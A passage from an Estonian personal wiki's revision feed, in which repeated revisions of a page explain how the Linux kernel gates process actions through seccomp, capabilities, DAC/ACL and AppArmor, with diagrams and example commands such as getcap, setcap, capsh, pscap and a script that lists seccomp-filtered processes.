Seccomp:	2&lt;br /&gt;
Seccomp_filters:	23&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
root@dh-minio-01:~# cat seccomp-list.sh&lt;br /&gt;
for pid in $(ls /proc | grep -E '^[0-9]+$'); do&lt;br /&gt;
    status=$(grep &amp;quot;Seccomp:&amp;quot; /proc/$pid/status 2&amp;gt;/dev/null | awk '{print $2}')&lt;br /&gt;
    if [ &amp;quot;$status&amp;quot; = &amp;quot;2&amp;quot; ]; then&lt;br /&gt;
        name=$(cat /proc/$pid/comm)&lt;br /&gt;
        echo &amp;quot;PID $pid ($name) is SECCOMP FILTERED&amp;quot;&lt;br /&gt;
    fi&lt;br /&gt;
done&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
nt Debian v. 13 arvutis&lt;br /&gt;
&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
root@dh-minio-01:~# sh seccomp-list.sh&lt;br /&gt;
PID 11405 (rsyslogd) is SECCOMP FILTERED&lt;br /&gt;
PID 155380 (nginx) is SECCOMP FILTERED&lt;br /&gt;
PID 155381 (nginx) is SECCOMP FILTERED&lt;br /&gt;
PID 155382 (nginx) is SECCOMP FILTERED&lt;br /&gt;
PID 157836 (postgres) is SECCOMP FILTERED&lt;br /&gt;
PID 157837 (postgres) is SECCOMP FILTERED&lt;br /&gt;
PID 157838 (postgres) is SECCOMP FILTERED&lt;br /&gt;
PID 157840 (postgres) is SECCOMP FILTERED&lt;br /&gt;
PID 157841 (postgres) is SECCOMP FILTERED&lt;br /&gt;
PID 157842 (postgres) is SECCOMP FILTERED&lt;br /&gt;
PID 297 (systemd-journal) is SECCOMP FILTERED&lt;br /&gt;
PID 322 (systemd-timesyn) is SECCOMP FILTERED&lt;br /&gt;
PID 353 (systemd-udevd) is SECCOMP FILTERED&lt;br /&gt;
PID 653 (systemd-logind) is SECCOMP FILTERED&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
====Kasulikud lisamaterjalid====&lt;br /&gt;
&lt;br /&gt;
* https://oneuptime.com/blog/post/2026-03-02-how-to-use-seccomp-to-restrict-system-calls-on-ubuntu/view&lt;br /&gt;
&lt;br /&gt;
===Kasulikud lisamaterjalid===&lt;br /&gt;
&lt;br /&gt;
* TODO&lt;/div&gt;</summary>
		<author><name>Imre</name></author>
	</entry>
	<entry>
		<id>https://www.auul.pri.ee/wiki/index.php?title=Linux_kernel_kontrollib_tegevusi&amp;diff=3447</id>
		<title>Linux kernel kontrollib tegevusi</title>
		<link rel="alternate" type="text/html" href="https://www.auul.pri.ee/wiki/index.php?title=Linux_kernel_kontrollib_tegevusi&amp;diff=3447"/>
		<updated>2026-05-04T15:24:20Z</updated>

		<summary type="html">&lt;p&gt;Imre: /* Tööpõhimõte */&lt;/p&gt;
&lt;hr /&gt;
&lt;div&gt;===Sissejuhatus===&lt;br /&gt;
&lt;br /&gt;
TODO&lt;br /&gt;
&lt;br /&gt;
===Mõisted===&lt;br /&gt;
&lt;br /&gt;
* seccomp&lt;br /&gt;
* capabilities&lt;br /&gt;
* dac/acl&lt;br /&gt;
* lsm&lt;br /&gt;
&lt;br /&gt;
===Tööpõhimõte===&lt;br /&gt;
&lt;br /&gt;
Väited&lt;br /&gt;
&lt;br /&gt;
* protsess on arvutis esinev kõige olulisem nähtus - kõik muu on nö teda teenindav personal (riistvara (mälu, protsessor, storage, võrk), kernel, kasutajad-grupid, namespace-capabilities-seccomp-syscalls-jms raamistik)&lt;br /&gt;
* arvuti (prosessi) ülesandaks on üldiselt teisendada sisend väljundiks (kasutades seejuures riistara, tarkvara st teisi abistavaid protsesse jms)&lt;br /&gt;
* üldiselt tahab protsess kasutada mingit ressurssi ja seda on vaja kontrollida (nt peab süsteem otsustama, kas seda kasutamist lubada)&lt;br /&gt;
* privileegid (st õigus midagi teha, midagi kasutada) pole mitte niivõrd kasutajal, aga privileegid on protsessil&lt;br /&gt;
* protsessi privileegid tulenevad muu hulgast kolmest asjaolust: 1. seccomp syscall tulemüür, 2. capabilities, 3. lsm&lt;br /&gt;
* capability'le vastab komplekt syscallisid (tavaliselt)&lt;br /&gt;
* system call (syscall, 'make system call') - xxx&lt;br /&gt;
&lt;br /&gt;
Syscallisid on üldiselt kahesuguseid&lt;br /&gt;
&lt;br /&gt;
* Automatic Syscalls: Actions like mmap(), read(), or brk() are considered &amp;quot;safe.&amp;quot; The kernel assumes that if you have the memory or the file handle, you can perform these actions. No special &amp;quot;permission&amp;quot; is needed beyond standard file permissions.&lt;br /&gt;
* Restricted Syscalls: Actions like clock_adjtime(), reboot(), or mount() are &amp;quot;dangerous.&amp;quot; Historically, the kernel had a simple rule: if (uid == 0) (Root), allow; else, deny.&lt;br /&gt;
&lt;br /&gt;
Väited syscall kasutamise kohta&lt;br /&gt;
&lt;br /&gt;
* kui tavakasutaja tegeleb omale kuuluva tekstifaili sisu muutmisega, siis ta esmalt sooritab open() syscalli ja seda üldiselt lubatakse kõigil kasutajatel teha, seejuures saab süsteem teada, kas kasutajal on lubatud kõnealuse failiga tegeleda ja mil viisil jne; ja edasi kasutaja ütleb read() syscall'i: read() iseenesest vajab tugevaid lube töötamiseks, aga süsteem tuletab loa protsessi omaniku/grupi kõrvutamisest faili omaniku/grupi ja loabittidega - näiliselt tundub, et read(), write() jt selliste syscallide kasutamine toimub väga liberaalselt&lt;br /&gt;
* kui kasutaja root käivitab tekstireadaktori asub tegelema tekstifaili sisu muutmisega, siis toimub sarnane kontroll kuid see annab väga jaatava vastuse kuna kasutaja on root (uid=0) - kernelil on kasutada loogika, et kui kasutaja on root, siis see on samaväärne kõigi capacitite olemasoluga&lt;br /&gt;
&lt;br /&gt;
Joonis&lt;br /&gt;
&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
   töötav protsess  -&amp;gt;  syscall liides        -&amp;gt; kernel               -&amp;gt;    ressurss&lt;br /&gt;
 &lt;br /&gt;
                    ^                              ^                  ^&lt;br /&gt;
                    |                              |                  |&lt;br /&gt;
                    |                              |                  |&lt;br /&gt;
 &lt;br /&gt;
            seccomp tulemüür                  capabilities      lsm (apparmor)&lt;br /&gt;
                                                  dac&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
kus&lt;br /&gt;
&lt;br /&gt;
* systemd - tegeleb seccomp ja capabilities rakendamisega&lt;br /&gt;
* apparmor - tegeleb lsm rakendamisega&lt;br /&gt;
* tundub, et reaalsuses see olukord ei ole väga sirgejooneline - nt apparmor sätib samuti capabilitisid (rakendub nö kõige suurem kitsendus)&lt;br /&gt;
&lt;br /&gt;
===gemini joonis===&lt;br /&gt;
&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
[ PROCESS ]&lt;br /&gt;
      |&lt;br /&gt;
      | 1. SECCOMP GATE (The Vocabulary Check)&lt;br /&gt;
      |    &amp;quot;Is this syscall even allowed to be uttered?&amp;quot;&lt;br /&gt;
      |    [ Filter: 23 active ] ---------------------&amp;gt; [ REJECT / SIGSYS ]&lt;br /&gt;
      |&lt;br /&gt;
      v&lt;br /&gt;
      | 2. CAPABILITIES GATE (The Authority Check)&lt;br /&gt;
      |    &amp;quot;Does this process hold the specific bit for this action?&amp;quot;&lt;br /&gt;
      |    [ e.g., CAP_SYS_TIME ] --------------------&amp;gt; [ REJECT / EPERM ]&lt;br /&gt;
      |&lt;br /&gt;
      v&lt;br /&gt;
      | 3. DAC / ACL GATE (The Identity Check)&lt;br /&gt;
      |    &amp;quot;Is the process UID/GID on the list for this file/device?&amp;quot;&lt;br /&gt;
      |    [ Feature: +ACL ] -------------------------&amp;gt; [ REJECT / EACCES ]&lt;br /&gt;
      |&lt;br /&gt;
      v&lt;br /&gt;
      | 4. LSM / MAC GATE (The Policy &amp;quot;Horizon&amp;quot;)&lt;br /&gt;
      |    &amp;quot;Does the overall security policy permit this role this access?&amp;quot;&lt;br /&gt;
      |    [ AppArmor / SELINUX ] --------------------&amp;gt; [ REJECT / DENIED ]&lt;br /&gt;
      |&lt;br /&gt;
      v&lt;br /&gt;
  [ RESOURCE ] (e.g., /dev/sda, System Clock, Network Socket)&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
===Capabilities===&lt;br /&gt;
&lt;br /&gt;
Linuxi tuumas on üldotstarbeline capability süsteem, mille abil nt saab protsessidele anda erinevaid privileege. Nt üks selline capabiliti on dac_override, mis seisneb selles, et root kasutajal on õigus sõita üle enamusest piirangutest, nt saab root töötada kasutajale kuuluvate failidega. Kui root kasutajale ei anna apparmor profiil erilisi privileege, siis root kasutaja on enam-vähem samaväärne tavakasutajaga, mille nimeks on 'root'. St tal ei ole õigust nt teiste kasutajate faile lugeda. Selleks, et root kasutajale kehtestatud apparmor profiili tingimustes see ülesõitmise privileeg tagasi tekiks sobib kasutada profiilis rida 'capability dac_override'. Capability süsteem on üldotstarbeline, ta ei ole LSM komponent, nt üks tema esinemise koht on selles, et uuemal ajal /bin/ping ei ole enam setuid&lt;br /&gt;
&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
# ls -ld /bin/ping&lt;br /&gt;
-rwxr-xr-x 1 root root 44104 Nov  8  2014 /bin/ping&lt;br /&gt;
&lt;br /&gt;
# getcap /bin/ping&lt;br /&gt;
/bin/ping = cap_net_raw+ep&lt;br /&gt;
&lt;br /&gt;
# getfattr -d -m &amp;quot;^security\\.&amp;quot; /bin/ping&lt;br /&gt;
getfattr: Removing leading '/' from absolute path names&lt;br /&gt;
# file: bin/ping&lt;br /&gt;
security.capability=0sAQAAAgAgAAAAAAAAAAAAAAAAAAA=&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Kusjuures stat programm kasutab nn legacy syscall'i ja ei esita capabilities kohta infot (olevat olemas ka statx)&lt;br /&gt;
&lt;br /&gt;
Failile cap seadistamiseks sobib öelda nt&lt;br /&gt;
&lt;br /&gt;
 # setcap cap_net_raw,cap_setuid,cap_setgid+ep /tmp/capable&lt;br /&gt;
&lt;br /&gt;
kus&lt;br /&gt;
&lt;br /&gt;
* +ep - kehtestatud&lt;br /&gt;
&lt;br /&gt;
Kasulikud lisamaterjalid&lt;br /&gt;
&lt;br /&gt;
* https://wiki.archlinux.org/index.php/Capabilities&lt;br /&gt;
* man capabilities&lt;br /&gt;
* https://sites.google.com/site/fullycapable/Home&lt;br /&gt;
* /etc/security/capability.conf&lt;br /&gt;
&lt;br /&gt;
===Capabilities - 2026 kevad märkmed===&lt;br /&gt;
&lt;br /&gt;
Väited&lt;br /&gt;
&lt;br /&gt;
* teatud mõttes capabilities laiendab nö klassikaliselt setuid lahendust (mis võimaldab faili omaduste alusel tuletada protsessi käivitamise jaoks sobivad privileegid - tavaliselt tavakasutaja -&amp;gt; root kasutaja)&lt;br /&gt;
* võimalik on tekitada tavakasutajale kuuluva protsessi, mis on binditud privilegeeritud st &amp;lt;1024 port külge&lt;br /&gt;
* teatud määral päritakse capabilitied parent protsessi käest child protsessi poolt&lt;br /&gt;
&lt;br /&gt;
capabilities saab toimuda kahe nö allika põhiselt&lt;br /&gt;
&lt;br /&gt;
* faili xattr alusel staatiliselt&lt;br /&gt;
* kõrgema privileegiga protsessi poolt väljakutsutud viisil dünaamiliselt (nt systemd service unit)&lt;br /&gt;
&lt;br /&gt;
systemd puhul tavaliselt seadistatakse alumime ja ülemine lagi privileegidega&lt;br /&gt;
&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
root@zabbix-pub-01:~# systemctl show systemd-resolved | grep Capab&lt;br /&gt;
CapabilityBoundingSet=cap_setpcap cap_net_bind_service cap_net_raw&lt;br /&gt;
AmbientCapabilities=cap_setpcap cap_net_bind_service cap_net_raw&lt;br /&gt;
&lt;br /&gt;
root@zabbix-pub-01:~# egrep -r AmbientCapabilities /lib/systemd/&lt;br /&gt;
/lib/systemd/system/e2scrub_reap.service:AmbientCapabilities=CAP_SYS_ADMIN CAP_SYS_RAWIO&lt;br /&gt;
/lib/systemd/system/e2scrub@.service:AmbientCapabilities=CAP_SYS_ADMIN CAP_SYS_RAWIO&lt;br /&gt;
/lib/systemd/system/xfs_scrub@.service:AmbientCapabilities=CAP_SYS_ADMIN CAP_FOWNER CAP_DAC_OVERRIDE CAP_DAC_READ_SEARCH CAP_SYS_RAWIO&lt;br /&gt;
/lib/systemd/system/systemd-timesyncd.service:AmbientCapabilities=CAP_SYS_TIME&lt;br /&gt;
/lib/systemd/system/systemd-networkd.service:AmbientCapabilities=CAP_NET_ADMIN CAP_NET_BIND_SERVICE CAP_NET_BROADCAST CAP_NET_RAW&lt;br /&gt;
/lib/systemd/system/systemd-resolved.service:AmbientCapabilities=CAP_SETPCAP CAP_NET_RAW CAP_NET_BIND_SERVICE&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Parasjagu olevat protsesside seisu capability mõttes esitab pscap programm, nt&lt;br /&gt;
&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
root@zabbix-pub-01:~# apt-get install libcap-ng-utils&lt;br /&gt;
root@zabbix-pub-01:~# pscap -a&lt;br /&gt;
ppid  pid   uid         command             capabilities&lt;br /&gt;
0     1     root        systemd             full +&lt;br /&gt;
1     344   root        systemd-journal     chown, dac_override, dac_read_search, fowner, setgid, setuid, sys_ptrace, sys_admin, audit_control, mac_override, syslog, audit_read +&lt;br /&gt;
1     395   root        multipathd          full +&lt;br /&gt;
1     413   root        systemd-udevd       chown, dac_override, dac_read_search, fowner, fsetid, kill, setgid, setuid, setpcap, linux_immutable, net_bind_service, net_broadcast, net_admin, net_raw, ipc_lock, ipc_owner, sys_module, sys_rawio, sys_chroot, sys_ptrace, sys_pacct, sys_admin, sys_boot, sys_nice, sys_resource, sys_tty_config, mknod, lease, audit_write, audit_control, setfcap, mac_override, mac_admin, syslog, block_suspend, audit_read, perfmon, bpf, checkpoint_restore +&lt;br /&gt;
1     562   systemd-network  systemd-network     net_bind_service, net_broadcast, net_admin, net_raw @ +&lt;br /&gt;
1     577   systemd-resolve  systemd-resolve     net_raw @ +&lt;br /&gt;
1     593   systemd-timesync  systemd-timesyn     sys_time @ +&lt;br /&gt;
1     715   messagebus  dbus-daemon         audit_write +&lt;br /&gt;
1     719   root        php-fpm8.3          full +&lt;br /&gt;
1     724   root        qemu-ga             full +&lt;br /&gt;
1     733   root        systemd-logind      chown, dac_override, dac_read_search, fowner, linux_immutable, sys_admin, sys_tty_config, audit_control, mac_admin +&lt;br /&gt;
...&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
====Dünaamiline capability====&lt;br /&gt;
&lt;br /&gt;
Ühes aknas öeldakse&lt;br /&gt;
&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
root@zabbix-pub-01:~# capsh --keep=1 --user=nobody --inh=cap_chown --addamb=cap_chown --caps=&amp;quot;cap_chown=eip&amp;quot; -- -c &amp;quot;sleep 60&amp;quot;&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
ja teises küsitakse&lt;br /&gt;
&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
root@zabbix-pub-01:~# ps aux | grep sleep&lt;br /&gt;
nobody    216107  0.0  0.1   5692  2196 pts/0    S+   00:45   0:00 sleep 60&lt;br /&gt;
&lt;br /&gt;
root@zabbix-pub-01:~# grep -i cap /proc/216107/status&lt;br /&gt;
CapInh:	0000000000000001&lt;br /&gt;
CapPrm:	0000000000000001&lt;br /&gt;
CapEff:	0000000000000001&lt;br /&gt;
CapBnd:	000001ffffffffff&lt;br /&gt;
CapAmb:	0000000000000001&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
===seccomp===&lt;br /&gt;
&lt;br /&gt;
====Tööpõhimõte====&lt;br /&gt;
&lt;br /&gt;
TODO&lt;br /&gt;
&lt;br /&gt;
====Misc====&lt;br /&gt;
&lt;br /&gt;
seccomp leiab kõneks olevad syscallid üles nn bpf-classic filtrite abil, antud juhul 23 tükki (neid ei esita bpftool prog show)&lt;br /&gt;
&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
root@pve-svc-02:~# cat /proc/1436092/status | grep Seccomp&lt;br /&gt;
Seccomp:	2&lt;br /&gt;
Seccomp_filters:	23&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
root@dh-minio-01:~# cat seccomp-list.sh&lt;br /&gt;
for pid in $(ls /proc | grep -E '^[0-9]+$'); do&lt;br /&gt;
    status=$(grep &amp;quot;Seccomp:&amp;quot; /proc/$pid/status 2&amp;gt;/dev/null | awk '{print $2}')&lt;br /&gt;
    if [ &amp;quot;$status&amp;quot; = &amp;quot;2&amp;quot; ]; then&lt;br /&gt;
        name=$(cat /proc/$pid/comm)&lt;br /&gt;
        echo &amp;quot;PID $pid ($name) is SECCOMP FILTERED&amp;quot;&lt;br /&gt;
    fi&lt;br /&gt;
done&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
nt Debian v. 13 arvutis&lt;br /&gt;
&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
root@dh-minio-01:~# sh seccomp-list.sh&lt;br /&gt;
PID 11405 (rsyslogd) is SECCOMP FILTERED&lt;br /&gt;
PID 155380 (nginx) is SECCOMP FILTERED&lt;br /&gt;
PID 155381 (nginx) is SECCOMP FILTERED&lt;br /&gt;
PID 155382 (nginx) is SECCOMP FILTERED&lt;br /&gt;
PID 157836 (postgres) is SECCOMP FILTERED&lt;br /&gt;
PID 157837 (postgres) is SECCOMP FILTERED&lt;br /&gt;
PID 157838 (postgres) is SECCOMP FILTERED&lt;br /&gt;
PID 157840 (postgres) is SECCOMP FILTERED&lt;br /&gt;
PID 157841 (postgres) is SECCOMP FILTERED&lt;br /&gt;
PID 157842 (postgres) is SECCOMP FILTERED&lt;br /&gt;
PID 297 (systemd-journal) is SECCOMP FILTERED&lt;br /&gt;
PID 322 (systemd-timesyn) is SECCOMP FILTERED&lt;br /&gt;
PID 353 (systemd-udevd) is SECCOMP FILTERED&lt;br /&gt;
PID 653 (systemd-logind) is SECCOMP FILTERED&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
====Kasulikud lisamaterjalid====&lt;br /&gt;
&lt;br /&gt;
* https://oneuptime.com/blog/post/2026-03-02-how-to-use-seccomp-to-restrict-system-calls-on-ubuntu/view&lt;br /&gt;
&lt;br /&gt;
===Kasulikud lisamaterjalid===&lt;br /&gt;
&lt;br /&gt;
* TODO&lt;/div&gt;</summary>
		<author><name>Imre</name></author>
	</entry>
	<entry>
		<id>https://www.auul.pri.ee/wiki/index.php?title=Linux_kernel_kontrollib_tegevusi&amp;diff=3446</id>
		<title>Linux kernel kontrollib tegevusi</title>
		<link rel="alternate" type="text/html" href="https://www.auul.pri.ee/wiki/index.php?title=Linux_kernel_kontrollib_tegevusi&amp;diff=3446"/>
		<updated>2026-05-04T14:33:21Z</updated>

		<summary type="html">&lt;p&gt;Imre: /* Tööpõhimõte */&lt;/p&gt;
&lt;hr /&gt;
&lt;div&gt;===Sissejuhatus===&lt;br /&gt;
&lt;br /&gt;
TODO&lt;br /&gt;
&lt;br /&gt;
===Mõisted===&lt;br /&gt;
&lt;br /&gt;
* seccomp&lt;br /&gt;
* capabilities&lt;br /&gt;
* dac/acl&lt;br /&gt;
* lsm&lt;br /&gt;
&lt;br /&gt;
===Tööpõhimõte===&lt;br /&gt;
&lt;br /&gt;
Väited&lt;br /&gt;
&lt;br /&gt;
* protsess on arvutis esinev kõige olulisem nähtus - kõik muu on nö teda teenindav personal (riistvara (mälu, protsessor, storage, võrk), kernel, kasutajad-grupid, namespace-capabilities-seccomp-syscalls-jms raamistik)&lt;br /&gt;
* arvuti (prosessi) ülesandaks on üldiselt teisendada sisend väljundiks (kasutades seejuures riistara, tarkvara st teisi abistavaid protsesse jme)&lt;br /&gt;
* üldiselt tahab protsess kasutada mingit ressurssi ja seda on vaja kontrollida (nt peab süsteem otsustama, kas seda kasutamist lubada)&lt;br /&gt;
* privileegid (st õigus midagi teha, midagi kasutada) pole mitte niivõrd kasutajal, aga privileegid on protsessil&lt;br /&gt;
* protsessi privileegid tulenevad muu hulgast kolmest asjaolust: 1. seccomp syscall tulemüür, 2. capabilities, 3. lsm&lt;br /&gt;
* capability'le vastab komplekt syscallisid (tavaliselt)&lt;br /&gt;
* system call (syscall, 'make system call') - xxx&lt;br /&gt;
&lt;br /&gt;
Syscallisid on üldiselt kahesuguseid&lt;br /&gt;
&lt;br /&gt;
* Automatic Syscalls: Actions like mmap(), read(), or brk() are considered &amp;quot;safe.&amp;quot; The kernel assumes that if you have the memory or the file handle, you can perform these actions. No special &amp;quot;permission&amp;quot; is needed beyond standard file permissions.&lt;br /&gt;
* Restricted Syscalls: Actions like clock_adjtime(), reboot(), or mount() are &amp;quot;dangerous.&amp;quot; Historically, the kernel had a simple rule: if (uid == 0) (Root), allow; else, deny.&lt;br /&gt;
&lt;br /&gt;
Väited syscall kasutamise kohta&lt;br /&gt;
&lt;br /&gt;
* kui tavakasutaja tegeleb omale kuuluva tekstifaili sisu muutmisega, siis ta esmalt sooritab open() syscalli ja seda üldiselt lubatakse kõigil kasutajatel teha, seejuures saab süsteem teada, kas kasutajal on lubatud kõnealuse failiga tegeleda ja mil viisil jne; ja edasi kasutaja ütleb read() syscall'i: read() iseenesest vajab tugevaid lube töötamiseks, aga süsteem tuletab loa protsessi omaniku/grupi kõrvutamisest faili omaniku/grupi ja loabittidega - näiliselt tundub, et read(), write() jt selliste syscallide kasutamine toimub väga liberaalselt&lt;br /&gt;
* kui kasutaja root käivitab tekstireadaktori asub tegelema tekstifaili sisu muutmisega, siis toimub sarnane kontroll kuid see annab väga jaatava vastuse kuna kasutaja on root (uid=0) - kernelil on kasutada loogika, et kui kasutaja on root, siis see on samaväärne kõigi capacitite olemasoluga&lt;br /&gt;
&lt;br /&gt;
Joonis&lt;br /&gt;
&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
   töötav protsess  -&amp;gt;  syscall liides        -&amp;gt; kernel               -&amp;gt;    ressurss&lt;br /&gt;
 &lt;br /&gt;
                    ^                              ^                  ^&lt;br /&gt;
                    |                              |                  |&lt;br /&gt;
                    |                              |                  |&lt;br /&gt;
 &lt;br /&gt;
            seccomp tulemüür                  capabilities      lsm (apparmor)&lt;br /&gt;
                                                  dac&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
kus&lt;br /&gt;
&lt;br /&gt;
* systemd - tegeleb seccomp ja capabilities rakendamisega&lt;br /&gt;
* apparmor - tegeleb lsm rakendamisega&lt;br /&gt;
* tundub, et reaalsuses see olukord ei ole väga sirgejooneline - nt apparmor sätib samuti capabilitisid (rakendub nö kõige suurem kitsendus)&lt;br /&gt;
&lt;br /&gt;
===gemini joonis===&lt;br /&gt;
&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
[ PROCESS ]&lt;br /&gt;
      |&lt;br /&gt;
      | 1. SECCOMP GATE (The Vocabulary Check)&lt;br /&gt;
      |    &amp;quot;Is this syscall even allowed to be uttered?&amp;quot;&lt;br /&gt;
      |    [ Filter: 23 active ] ---------------------&amp;gt; [ REJECT / SIGSYS ]&lt;br /&gt;
      |&lt;br /&gt;
      v&lt;br /&gt;
      | 2. CAPABILITIES GATE (The Authority Check)&lt;br /&gt;
      |    &amp;quot;Does this process hold the specific bit for this action?&amp;quot;&lt;br /&gt;
      |    [ e.g., CAP_SYS_TIME ] --------------------&amp;gt; [ REJECT / EPERM ]&lt;br /&gt;
      |&lt;br /&gt;
      v&lt;br /&gt;
      | 3. DAC / ACL GATE (The Identity Check)&lt;br /&gt;
      |    &amp;quot;Is the process UID/GID on the list for this file/device?&amp;quot;&lt;br /&gt;
      |    [ Feature: +ACL ] -------------------------&amp;gt; [ REJECT / EACCES ]&lt;br /&gt;
      |&lt;br /&gt;
      v&lt;br /&gt;
      | 4. LSM / MAC GATE (The Policy &amp;quot;Horizon&amp;quot;)&lt;br /&gt;
      |    &amp;quot;Does the overall security policy permit this role this access?&amp;quot;&lt;br /&gt;
      |    [ AppArmor / SELINUX ] --------------------&amp;gt; [ REJECT / DENIED ]&lt;br /&gt;
      |&lt;br /&gt;
      v&lt;br /&gt;
  [ RESOURCE ] (e.g., /dev/sda, System Clock, Network Socket)&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
===Capabilities===&lt;br /&gt;
&lt;br /&gt;
Linuxi tuumas on üldotstarbeline capability süsteem, mille abil nt saab protsessidele anda erinevaid privileege. Nt üks selline capabiliti on dac_override, mis seisneb selles, et root kasutajal on õigus sõita üle enamusest piirangutest, nt saab root töötada kasutajale kuuluvate failidega. Kui root kasutajale ei anna apparmor profiil erilisi privileege, siis root kasutaja on enam-vähem samaväärne tavakasutajaga, mille nimeks on 'root'. St tal ei ole õigust nt teiste kasutajate faile lugeda. Selleks, et root kasutajale kehtestatud apparmor profiili tingimustes see ülesõitmise privileeg tagasi tekiks sobib kasutada profiilis rida 'capability dac_override'. Capability süsteem on üldotstarbeline, ta ei ole LSM komponent, nt üks tema esinemise koht on selles, et uuemal ajal /bin/ping ei ole enam setuid&lt;br /&gt;
&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
# ls -ld /bin/ping&lt;br /&gt;
-rwxr-xr-x 1 root root 44104 Nov  8  2014 /bin/ping&lt;br /&gt;
&lt;br /&gt;
# getcap /bin/ping&lt;br /&gt;
/bin/ping = cap_net_raw+ep&lt;br /&gt;
&lt;br /&gt;
# getfattr -d -m &amp;quot;^security\\.&amp;quot; /bin/ping&lt;br /&gt;
getfattr: Removing leading '/' from absolute path names&lt;br /&gt;
# file: bin/ping&lt;br /&gt;
security.capability=0sAQAAAgAgAAAAAAAAAAAAAAAAAAA=&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Kusjuures stat programm kasutab nn legacy syscall'i ja ei esita capabilities kohta infot (olevat olemas ka statx)&lt;br /&gt;
&lt;br /&gt;
Failile cap seadistamiseks sobib öelda nt&lt;br /&gt;
&lt;br /&gt;
 # setcap cap_net_raw,cap_setuid,cap_setgid+ep /tmp/capable&lt;br /&gt;
&lt;br /&gt;
kus&lt;br /&gt;
&lt;br /&gt;
* +ep - kehtestatud&lt;br /&gt;
&lt;br /&gt;
Kasulikud lisamaterjalid&lt;br /&gt;
&lt;br /&gt;
* https://wiki.archlinux.org/index.php/Capabilities&lt;br /&gt;
* man capabilities&lt;br /&gt;
* https://sites.google.com/site/fullycapable/Home&lt;br /&gt;
* /etc/security/capability.conf&lt;br /&gt;
&lt;br /&gt;
===Capabilities - 2026 kevad märkmed===&lt;br /&gt;
&lt;br /&gt;
Väited&lt;br /&gt;
&lt;br /&gt;
* teatud mõttes capabilities laiendab nö klassikaliselt setuid lahendust (mis võimaldab faili omaduste alusel tuletada protsessi käivitamise jaoks sobivad privileegid - tavaliselt tavakasutaja -&amp;gt; root kasutaja)&lt;br /&gt;
* võimalik on tekitada tavakasutajale kuuluva protsessi, mis on binditud privilegeeritud st &amp;lt;1024 port külge&lt;br /&gt;
* teatud määral päritakse capabilitied parent protsessi käest child protsessi poolt&lt;br /&gt;
&lt;br /&gt;
capabilities saab toimuda kahe nö allika põhiselt&lt;br /&gt;
&lt;br /&gt;
* faili xattr alusel staatiliselt&lt;br /&gt;
* kõrgema privileegiga protsessi poolt väljakutsutud viisil dünaamiliselt (nt systemd service unit)&lt;br /&gt;
&lt;br /&gt;
systemd puhul tavaliselt seadistatakse alumime ja ülemine lagi privileegidega&lt;br /&gt;
&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
root@zabbix-pub-01:~# systemctl show systemd-resolved | grep Capab&lt;br /&gt;
CapabilityBoundingSet=cap_setpcap cap_net_bind_service cap_net_raw&lt;br /&gt;
AmbientCapabilities=cap_setpcap cap_net_bind_service cap_net_raw&lt;br /&gt;
&lt;br /&gt;
root@zabbix-pub-01:~# egrep -r AmbientCapabilities /lib/systemd/&lt;br /&gt;
/lib/systemd/system/e2scrub_reap.service:AmbientCapabilities=CAP_SYS_ADMIN CAP_SYS_RAWIO&lt;br /&gt;
/lib/systemd/system/e2scrub@.service:AmbientCapabilities=CAP_SYS_ADMIN CAP_SYS_RAWIO&lt;br /&gt;
/lib/systemd/system/xfs_scrub@.service:AmbientCapabilities=CAP_SYS_ADMIN CAP_FOWNER CAP_DAC_OVERRIDE CAP_DAC_READ_SEARCH CAP_SYS_RAWIO&lt;br /&gt;
/lib/systemd/system/systemd-timesyncd.service:AmbientCapabilities=CAP_SYS_TIME&lt;br /&gt;
/lib/systemd/system/systemd-networkd.service:AmbientCapabilities=CAP_NET_ADMIN CAP_NET_BIND_SERVICE CAP_NET_BROADCAST CAP_NET_RAW&lt;br /&gt;
/lib/systemd/system/systemd-resolved.service:AmbientCapabilities=CAP_SETPCAP CAP_NET_RAW CAP_NET_BIND_SERVICE&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
